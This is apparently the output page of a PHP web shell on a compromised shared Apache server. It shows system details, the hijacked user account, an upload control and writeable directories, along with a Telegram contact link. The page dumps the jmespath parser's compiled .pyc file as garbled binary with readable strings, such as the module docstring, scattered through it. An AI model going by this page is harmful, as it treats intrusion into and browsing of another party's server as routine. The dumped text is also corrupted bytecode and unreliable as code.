https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/jmespath/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/jmespath/__pycache__/parser.cpython-310.pyc
o

��^�J�@spdZddlZddlmZddlmZddlmZddlmZddlmZGdd	�d	e	�Z
eGd
d�de	��ZdS)a�Top down operator precedence parser.

This is an implementation of Vaughan R. Pratt's
"Top Down Operator Precedence" parser.
(http://dl.acm.org/citation.cfm?doid=512927.512931).

These are some additional resources that help explain the
general idea behind a Pratt parser:

* http://effbot.org/zone/simple-top-down-parsing.htm
* http://javascript.crockford.com/tdop/tdop.html

A few notes on the implementation.

* All the nud/led tokens are on the Parser class itself, and are dispatched
  using getattr().  This keeps all the parsing logic contained to a single
  class.
* We use two passes through the data.  One to create a list of token,
  then one pass through the tokens to create the AST.  While the lexer actually
  yields tokens, we convert it to a list so we can easily implement two tokens
  of lookahead.  A previous implementation used a fixed circular buffer, but it
  was significantly slower.  Also, the average jmespath expression typically
  does not have a large amount of token so this is not an issue.  And
  interestingly enough, creating a token list first is actually faster than
  consuming from the token iterator one token at a time.

�N)�lexer)�with_repr_method)�ast)�
exceptions)�visitorc@sBeZdZidd�dd�dd�dd�dd�dd�dd�d	d�d
d�dd�dd�d
d�dd�dd�dd�dd�dd�ddddddddddddd��Zd ZiZd!Zd�d"d#�Zd$d%�Zd&d'�Z	d(d)�Z
d�d*d+�Zd,d-�Zd.d/�Z
d0d1�Zd2d3�Zd4d5�Zd6d7�Zd8d9�Zd:d;�Zd<d=�Zd>d?�Zd@dA�ZdBdC�ZdDdE�ZdFdG�ZdHdI�ZdJdK�ZdLdM�ZdNdO�ZdPdQ�ZdRdS�ZdTdU�Z dVdW�Z!dXdY�Z"dZd[�Z#d\d]�Z$d^d_�Z%d`da�Z&dbdc�Z'ddde�Z(dfdg�Z)dhdi�Z*djdk�Z+dldm�Z,dndo�Z-dpdq�Z.drds�Z/d�dudv�Z0dwdx�Z1dydz�Z2d{d|�Z3d}d~�Z4dd��Z5d�d��Z6d�d��Z7d�d��Z8e9d�d���Z:dtS)��Parser�eofr�unquoted_identifier�quoted_identifier�literal�rbracket�rparen�comma�rbrace�number�current�expref�colon�pipe��or��and��eq��gt�	���(�-�2�7�<)�lt�gte�lte�ne�flatten�star�filter�dot�not�lbrace�lbracket�lparen�
�cCs"d|_dg||_||_d|_dS�Nr)�	tokenizer�_tokens�_buffer_size�_index)�self�	lookahead�r:�1/usr/lib/python3/dist-packages/jmespath/parser.py�__init__Ns
zParser.__init__cCsH|j�|�}|dur|S|�|�}||j|<t|j�|jkr"|��|S�N)�_CACHE�get�	_do_parse�len�	_MAX_SIZE�_free_cache_entries)r8�
expression�cached�
parsed_resultr:r:r;�parseTs

zParser.parsec
Cstz|�|�WStjy}z||_�d}~wtjy)}z|�|��d}~wtjy9}z||_�d}~wwr=)�_parser�
LexerErrorrD�IncompleteExpressionError�set_expression�
ParseError)r8rD�er:r:r;r@^s�
���zParser._do_parsecCsrt���|�|_t|j�|_d|_|jdd�}|��dks4|�	d�}t
�|d|d|dd|d��t||�S)Nr)�
binding_powerr�start�value�typezUnexpected token: %s)
r�Lexer�tokenizer4�listr5r7�_expression�_current_token�_lookahead_tokenrrL�ParsedResult)r8rD�parsed�tr:r:r;rHks

�
z
Parser._parsecCs�|�d�}|��t|d|d|j�}||�}|��}||j|krMt|d|d�}|dur:|�d�}|�|�n|��||�}|��}||j|ks#|S)Nrz
_token_nud_%srQz
_token_led_%s)rW�_advance�getattr�_error_nud_tokenrV�
BINDING_POWER�_error_led_token)r8rN�
left_token�nud_function�left�
current_token�led�error_tokenr:r:r;rUvs$
�
�	zParser._expressioncC�t�|d�S�NrP)rr�r8�tokenr:r:r;�_token_nud_literal��zParser._token_nud_literalcCrfrg)r�fieldrhr:r:r;�_token_nud_unquoted_identifier�rkz%Parser._token_nud_unquoted_identifiercCs@t�|d�}|��dkr|�d�}t�d|d|dd��|S)NrPr0rrQz1Quoted identifier not allowed for function names.)rrlrVrWrrL)r8rirlrZr:r:r;�_token_nud_quoted_identifier�s
�z#Parser._token_nud_quoted_identifiercCs:t��}|��dkrt��}n|�|jd�}t�||�S)Nrr*)r�identityrV�_parse_projection_rhsr^�value_projection�r8rirb�rightr:r:r;�_token_nud_star�s

zParser._token_nud_starcCs|�t���Sr=)�_token_led_filterrrorhr:r:r;�_token_nud_filter�rkzParser._token_nud_filtercCs|��Sr=)�_parse_multi_select_hashrhr:r:r;�_token_nud_lbrace��zParser._token_nud_lbracecCs|��}|�d�|S)Nr
)rU�_match�r8rirDr:r:r;�_token_nud_lparen�s
zParser._token_nud_lparencCs*t�t���}|�|jd�}t�||�S�Nr))rr)rorpr^�
projectionrrr:r:r;�_token_nud_flatten�s
�zParser._token_nud_flattencC�|�|jd�}t�|�S)Nr-)rUr^r�not_expression)r8ri�exprr:r:r;�_token_nud_not��
zParser._token_nud_notcCsv|��dvr|��}|�t��|�S|��dkr7|�d�dkr7|��|��|�|jd�}t�	t��|�S|�
�S)N�rrr*rr)rV�_parse_index_expression�_project_if_slicerro�
_lookaheadr[rpr^r~�_parse_multi_select_list)r8rirsr:r:r;�_token_nud_lbracket�szParser._token_nud_lbracketcCsN|�d�dks|�d�dkr|��St�|�d�d�}|��|�d�|S)NrrrrPr)r��_parse_slice_expressionr�indexrWr[rz)r8�noder:r:r;r��s
zParser._parse_index_expressioncCs�gd�}d}|��}|dksS|dkrS|dkr,|d7}|dkr'|�|�d�d�|��n|dkr>|�d�d	||<|��n	|�|�d�d�|��}|dksS|dks|�d�tj|�S)
N)NNNrrrrr�syntax errorrrP)rV�_raise_parse_error_for_tokenrWr[rzr�slice)r8�partsr�rcr:r:r;r��s*
�


��

zParser._parse_slice_expressioncCst��Sr=)r�current_noderhr:r:r;�_token_nud_current�ryzParser._token_nud_currentcCr�)Nr)rUr^rrr{r:r:r;�_token_nud_expref�r�zParser._token_nud_exprefcCsl|��dks$|�|jd�}|ddkr|d�|�|St�||g�S|��|�|jd�}t�||�S)Nr*r,rQ�
subexpression�children)	rV�_parse_dot_rhsr^�appendrr�r[rprq�r8rbrsr:r:r;�_token_led_dot�s�zParser._token_led_dotcC�|�|jd�}t�||�S)Nr)rUr^rrr�r:r:r;�_token_led_pipe�zParser._token_led_pipecCr�)Nr)rUr^r�
or_expressionr�r:r:r;�
_token_led_or	r�zParser._token_led_orcCr�)Nr)rUr^r�and_expressionr�r:r:r;�_token_led_and
r�zParser._token_led_andcCs�|ddkr|�d�}t�|d|d|dd|d��|d}g}|��dksC|��}|��dkr8|�d�|�|�|��dkr)|�d�t�||�}|S)	NrQrl���rOrPzInvalid function name '%s'r
r)	rWrrLrVrUrzr�r�function_expression)r8rb�prev_t�name�argsrD�
function_noder:r:r;�_token_led_lparens"

�

�
zParser._token_led_lparencCsH|�d�}|�d�|��dkrt��}n|�|jd�}t�|||�S)Nrrr)r+)rUrzrVrrorpr^�filter_projection)r8rb�	conditionrsr:r:r;ru%s


zParser._token_led_filtercC�|�|d�S)Nr��_parse_comparator�r8rbr:r:r;�
_token_led_eq/�zParser._token_led_eqcCr�)Nr(r�r�r:r:r;�
_token_led_ne2r�zParser._token_led_necCr�)Nrr�r�r:r:r;�
_token_led_gt5r�zParser._token_led_gtcCr�)Nr&r�r�r:r:r;�_token_led_gte8r�zParser._token_led_gtecCr�)Nr%r�r�r:r:r;�
_token_led_lt;r�zParser._token_led_ltcCr�)Nr'r�r�r:r:r;�_token_led_lte>r�zParser._token_led_ltecCs&t�|�}|�|jd�}t�||�Sr})rr)rpr^r~r�r:r:r;�_token_led_flattenAs

�zParser._token_led_flattencCsx|�d�}|ddvr$|��}|ddkr|d�|�|S|�||�S|�d�|�d�|�|jd�}t�||�S)NrrQr��index_expressionr�r*r)	rWr�r�r�rzrpr^rr~)r8rbrirsr:r:r;�_token_led_lbracketGs


zParser._token_led_lbracketcCs6t�||g�}|ddkrt�||�|jd��S|S)NrQr�r*)rr�r~rpr^)r8rbrs�
index_exprr:r:r;r�Zs�zParser._project_if_slicecCs|�|j|�}t�|||�Sr=)rUr^r�
comparator)r8rbr�rsr:r:r;r�cszParser._parse_comparatorcCsFg}	|��}|�|�|��dkrn|�d�q|�d�t�|�S)NTrr)rUr�rVrzr�multi_select_list)r8�expressionsrDr:r:r;r�gs

�

zParser._parse_multi_select_listcCs�g}	|�d�}|jddgd�|d}|�d�|�d�}tj||d�}|�|�|��d	kr6|�d	�n|��d
krB|�d
�nqtj|d�S)NTrr
r	)�token_typesrPr)�key_namer�rr)�nodes)	rW�_match_multiple_tokensrzrUr�key_val_pairr�rV�multi_select_dict)r8�pairs�	key_tokenr�rPr�r:r:r;rwss$
�



�zParser._parse_multi_select_hashcCs�|j|��|jkrt��}|S|��dkr|�|�}|S|��dkr*|�|�}|S|��dkr<|�d�|�|�}|S|�|�	d�d�|S)Nr/r+r,rr�)
r^rV�_PROJECTION_STOPrrorUrzr�r�rW)r8rNrsr:r:r;rp�s"�
	�
�

��zParser._parse_projection_rhscCs�|��}|dvr
|�|�S|dkr|�d�|��S|dkr'|�d�|��S|�d�}gd�}d||df}|�||�dS)N)r
r	r*r/r.r)r
r	r/r.�Expecting: %s, got: %srQ)rVrUrzr�rwrWr�)r8rNr9rZ�allowed�msgr:r:r;r��s	



�zParser._parse_dot_rhscCs6|ddkrt�|d|d|d��|�|d�dS)NrQrrOrP�
invalid token)rrJr�rhr:r:r;r]�s
�zParser._error_nud_tokencCs|�|d�dS)Nr�)r�rhr:r:r;r_��zParser._error_led_tokenNcCs.|��|kr|��dS|�||�d��dSr3)rVr[�_raise_parse_error_maybe_eofrW)r8�
token_typer:r:r;rz�s

�z
Parser._matchcCs*|��|vr|�||�d��|��dSr3)rVr�rWr[)r8r�r:r:r;r��s

�zParser._match_multiple_tokenscCs|jd7_dS)Nr)r7�r8r:r:r;r[�szParser._advancecCs|j|jdS�NrQ�r5r7r�r:r:r;rV�r�zParser._current_tokencCs|j|j|dSr�r��r8rr:r:r;r��szParser._lookaheadcCs|j|j|Sr=r�r�r:r:r;rW�r�zParser._lookahead_tokencCs(|d}|d}|d}t�||||��)NrOrPrQ)rrL)r8ri�reason�lex_position�actual_value�actual_typer:r:r;r��s�z#Parser._raise_parse_error_for_tokencCsJ|d}|d}|d}|dkrt�|||��d||f}t�||||��)NrOrPrQrr�)rrJrL)r8�
expected_typerir�r�r��messager:r:r;r��s���z#Parser._raise_parse_error_maybe_eofcCs4t�|j��t|jd��D]	}|j�|d�qdS)Nr)�random�sampler>�keys�intrB�pop)r8�keyr:r:r;rC�s �zParser._free_cache_entriescCs|j��dS)z'Clear the expression compilation cache.N)r>�clear)�clsr:r:r;�purge�szParser.purge)r)rr=);�__name__�
__module__�__qualname__r^r�r>rBr<rGr@rHrUrjrmrnrtrvrxr|rr�r�r�r�r�r�r�r�r�r�r�rur�r�r�r�r�r�r�r�r�r�r�rwrpr�r]r_rzr�r[rVr�rWr�r�rC�classmethodr�r:r:r:r;r%s���������	�
���
������"



	
	rc@s.eZdZdd�Zd
dd�Zdd�Zdd	�ZdS)rXcCs||_||_dSr=)rDrY)r8rDrYr:r:r;r<�s
zParsedResult.__init__NcCst�|�}|�|j|�}|Sr=)r�TreeInterpreter�visitrY)r8rP�options�interpreter�resultr:r:r;�search�s
zParsedResult.searchcCst��}|�|j�}|S)afRender the parsed AST as a dot file.

        Note that this is marked as an internal method because
        the AST is an implementation detail and is subject
        to change.  This method can be used to help troubleshoot
        or for development purposes, but is not considered part
        of the public supported API.  Use at your own risk.

        )r�GraphvizVisitorr�rY)r8�renderer�contentsr:r:r;�_render_dot_files
zParsedResult._render_dot_filecCs
t|j�Sr=)�reprrYr�r:r:r;�__repr__s
zParsedResult.__repr__r=)r�r�r�r<r�r�r�r:r:r:r;rX�s

rX)�__doc__r��jmespathr�jmespath.compatrrrr�objectrrXr:r:r:r;�<module>sS

https://t.me/RX1948 - 2025